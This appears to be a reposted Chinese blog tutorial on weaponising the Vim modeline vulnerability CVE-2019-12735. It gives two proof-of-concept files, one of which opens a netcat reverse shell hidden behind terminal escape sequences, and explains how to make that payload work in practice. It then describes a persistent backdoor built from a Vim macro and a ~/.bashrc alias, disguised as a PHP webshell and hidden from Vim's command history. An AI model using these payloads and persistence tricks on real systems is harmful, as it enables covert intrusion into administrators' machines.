您好,登錄后才能下訂單哦!
本篇文章為大家展示了基于VIM漏洞CVE-2019-12735的VIM宏后門病毒是怎樣的,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
作為一個vim多年使用者,前兩天得知爆出個VIM的RCE漏洞搞的我有點害怕,因此特意對這個漏洞的利用進行了一些研究。由于本人是個菜的摳腳的腳本小子,因此并不會在這篇文章中去給大家解釋漏洞原因,作為腳本小子我只關心如何利用。至于漏洞原因的一些解釋可以去原作者的git上去看:原作者GitHub鏈接。
先講一下如何漏洞復現,復現該漏洞的基本條件是:
1.Vim版本在影響范圍內,目前大部分版本都有受影響,至少我最近開啟的GCP上的ubuntu默認的vim版本在8.0左右是受影響的。
2.必須開啟modeline選項,這個選項很關鍵,我的GCP上默認是不開啟的,所以嚴重降低了該漏洞的危害,不太確定低版本或者是一些衍生版本的vim會不會默認開啟。
復現poc1過程:
1. 在~/.vimrc中加入set modeline確保開啟該選項
2. 使用原作者的第一個poc直接寫入一個文件并保存:`:!uname -a||" vi:fen:fdm=expr:fde=assertfails("source!\ \%"):fdl=0:fdt="
3. 然后使用vim打開該文件,如果受影響就會執行打印uname -a的結果,如果不受影響就是一個普通的文本
復現poc2過程:
先來看看原作者在git上寫著的poc2:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\ fde=x\ \|\ source\!\ \%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
如果你只是檢測的話可以不用看這個poc,這個poc主要是用來貼近實戰的利用。我估計會有人使用這個poc1成功,但是使用poc2始終不成功,其實這個poc有幾個地方需要改一下(準確來說是不能復制黏貼):
1.這里面涉及到的十六進制比如\x1b是需要通過二進制編輯器直接改成二進制的,復制黏貼是不行的。將poc中所有的十六進制位置編輯成二進制即可。
2.反斜杠的問題,原poc中作者為了轉義特殊符號來顯示所以多加了反斜杠,將所有涉及到轉義的字符前面多一個的反斜杠“\”去掉就可以了
3.必要的話將最后的\n直接改成回車,如果\n在你的文本里沒有被解釋成回車的話
按照上面說的流程修改完poc后,我們在測試機本地起個nc監聽:nc -lvp 9999最后打開poc2即可看到nc獲取到了反彈鏈接。
先來說說為什么要加入宏后門,poc2中有個問題,就是當vim打開一次文檔后,就不會在攜帶有惡意代碼了從而變成一個普通文檔。雖然我們可以通過第一次建立連接后下載木馬來獲得持久的后門,但這個方式不在討論范圍內了。這里我的想法是先實現每次打開文檔都會獲得反彈鏈接的持久后門,而不是依賴于下載外部木馬。Poc2其實加了很多代碼用來偽裝成正常文件內容,使人即使打開文件也不會察覺到里面藏有惡意代碼,而poc1則會很明顯看到代碼執行。這個偽裝有幾個特點:
受影響版本的vim和cat打開都不會顯示插入的惡意代碼。
cat -v可以看到惡意代碼
不同版本的cat可能會看到一些顯示的差異,但是惡意代碼依舊是看不到的。
為了不破壞偽裝同時做成可持續的后門,比較菜的我只想到了利用vim宏來達到這個效果。
基本實現思路:
首先,我們希望的是每次vim文件都會執行代碼,那么有沒有可能使其每次vim文件的時候都執行一邊vim宏呢?這是可能的,過程如下:
1. 在vim窗口錄制宏:q{寄存器名稱},錄制完成后再按下q按鍵停止
2. 在~/.bashrc中寫入alias vim=vim -c ‘@{寄存器名稱}’ 以及shopt -s expand_aliases,通過alias替換vim別名的方式來打開文件默認執行宏
3. 那么只要管理員重新登錄shell,以后不管他vim什么文件都會執行我們寫在宏里的命令
接下來要做的就是在poc2中合適的地方加入錄制宏的命令,其實poc2中那些十六進制比如\x1b是ESC的意思,可以聯想到這個應該是vim中切換模式的按鍵,因此我們可以通過在ESC之后需要執行的命令之前加入qy來開始錄制宏y,在命令執行完后某個合適的位置加入q來終止宏的錄制。在試了很多次后最終有了以下exp:基本的VIM宏樣本
#進一步優化上面那個poc依舊存在幾個問題:
1. 每次執行都會瘋狂的往bashrc里插入alias那兩句,只要vim一次就插一次,這很不好
2. 沒有偽裝成正常文件內容
為了改善第一個問題,我們可以通過分開執行兩次命令,然后宏只錄制第一個命令(即反彈shell),第二個插入命令只執行一次。這聽起來很容易,其實做起來并不容易……多次執行會遇到很多問題,因為我太菜了所以花了很長的時間。改善第二個問題,其實也遠遠沒有想的那么簡單,以為只是在空白處插入文本即可,其實不是的,原poc中的命令會對這些文本產生影響,所以寫入什么樣的文本都還是有點考究的。這邊給出一個最終將這兩個問題都解決了并且偽裝成一個PHP一句話的案例:偽裝成php一句話木馬的vim宏后門
PS:最后還有個vim歷史命令里會殘留執行的命令的問題,這個可以通過插入一些垃圾vim命令來偽裝。
上述內容就是基于VIM漏洞CVE-2019-12735的VIM宏后門病毒是怎樣的,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。